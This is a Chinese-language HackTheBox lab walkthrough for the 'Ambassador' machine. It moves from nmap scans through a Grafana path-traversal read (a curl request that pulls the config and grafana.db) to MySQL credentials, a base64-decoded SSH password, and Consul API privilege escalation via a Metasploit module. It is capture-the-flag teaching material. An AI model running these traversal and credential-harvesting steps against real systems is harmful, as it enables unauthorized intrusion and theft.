HackTheBox Ambassador 枚举获得用户shell,git consul API提权_hackthebox


题目网址:

https://app.hackthebox.com/machines/Ambassador

枚举

使用nmap枚举靶机

nmap -sC -sV -p- 10.10.11.183

HackTheBox Ambassador 枚举获得用户shell,git consul API提权_网络安全_02


HackTheBox Ambassador 枚举获得用户shell,git consul API提权_安全_03

这次扫描到了四个端口

22
80
3000
3306

这些端口都应该是有用的,先对80端口进行枚举,网址根目录扫描,网站模板枚举

HackTheBox Ambassador 枚举获得用户shell,git consul API提权_网络安全_04

HackTheBox Ambassador 枚举获得用户shell,git consul API提权_安全_05

通过这个网站的唯一一篇文章可以知道,有一个developer账户可以去访问ssh

但是进行一系列枚举后,并没有从80端口找到什么突破点,根据nmap的扫描结果来看,3000端口上运行的也是一个网站,我们去3000端口看看

HackTheBox Ambassador 枚举获得用户shell,git consul API提权_网络安全_06

这个网站框架是Grafana,我用searchsploit搜索了一下存在的漏洞

HackTheBox Ambassador 枚举获得用户shell,git consul API提权_web安全_07

发现可能存在目录遍历和任意文件读取漏洞,我们用这个脚本试试

locate multiple/webapps/50581.py

HackTheBox Ambassador 枚举获得用户shell,git consul API提权_安全_08

HackTheBox Ambassador 枚举获得用户shell,git consul API提权_web安全_09

成功读取到了/etc/passwd的文件内容

现在我们读取Grafana的配置文件,看能不能得到后台密码

https://grafana.com/docs/grafana/latest/setup-grafana/configure-grafana/

HackTheBox Ambassador 枚举获得用户shell,git consul API提权_hackthebox_10

通过查询官方文档,发现Grafana的配置文件地址为

/etc/grafana/grafana.ini

HackTheBox Ambassador 枚举获得用户shell,git consul API提权_web安全_11

通过配置文件可以发现用户和密码,返回网站登录

获取用户shell

登录后,我在后台到处看了一下,没找到什么有用的东西,现在我们把Grafana的库下载到本地看看

curl --path-as-is http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db

HackTheBox Ambassador 枚举获得用户shell,git consul API提权_web安全_12

在data_source表里发现了登录mysql的用户名和密码,现在我们登录mysql

mysql -h 10.10.11.183 -u grafana -p

HackTheBox Ambassador 枚举获得用户shell,git consul API提权_网络安全_13


HackTheBox Ambassador 枚举获得用户shell,git consul API提权_hackthebox_14

在whackywidget数据库里找到了developer用户的密码,根据80端口的网站提示,这个用户可以登录ssh,base64解密后登录ssh

echo "YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==" | base64 -d
ssh developer@10.10.11.183

HackTheBox Ambassador 枚举获得用户shell,git consul API提权_hackthebox_15

成功获得用户shell

提权

通过查看当前文件夹的文件,发现了一个有趣的文件

ls -al

HackTheBox Ambassador 枚举获得用户shell,git consul API提权_web安全_16

这是Git的配置文件,通过查看这个文件里的内容,可以找到一个位置

HackTheBox Ambassador 枚举获得用户shell,git consul API提权_hackthebox_17

/opt/my-app

然后查看以前的提交

git show

HackTheBox Ambassador 枚举获得用户shell,git consul API提权_hackthebox_18

git consul API提权

我们找到了一个git的令牌,通过google搜索相关的利用,我们可以利用这个api来提权

https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/multi/misc/consul_service_exec

可以用msfconsole,也可以手动
首先我们把靶机的8500端口转发到本地

ssh -L 8500:0.0.0.0:8500  developer@10.10.11.183

然后运行msfconsole使用exploit/multi/misc/consul_service_exec模块

HackTheBox Ambassador 枚举获得用户shell,git consul API提权_web安全_19

HackTheBox Ambassador 枚举获得用户shell,git consul API提权_网络安全_20

HackTheBox Ambassador 枚举获得用户shell,git consul API提权_hackthebox_21

成功获得root权限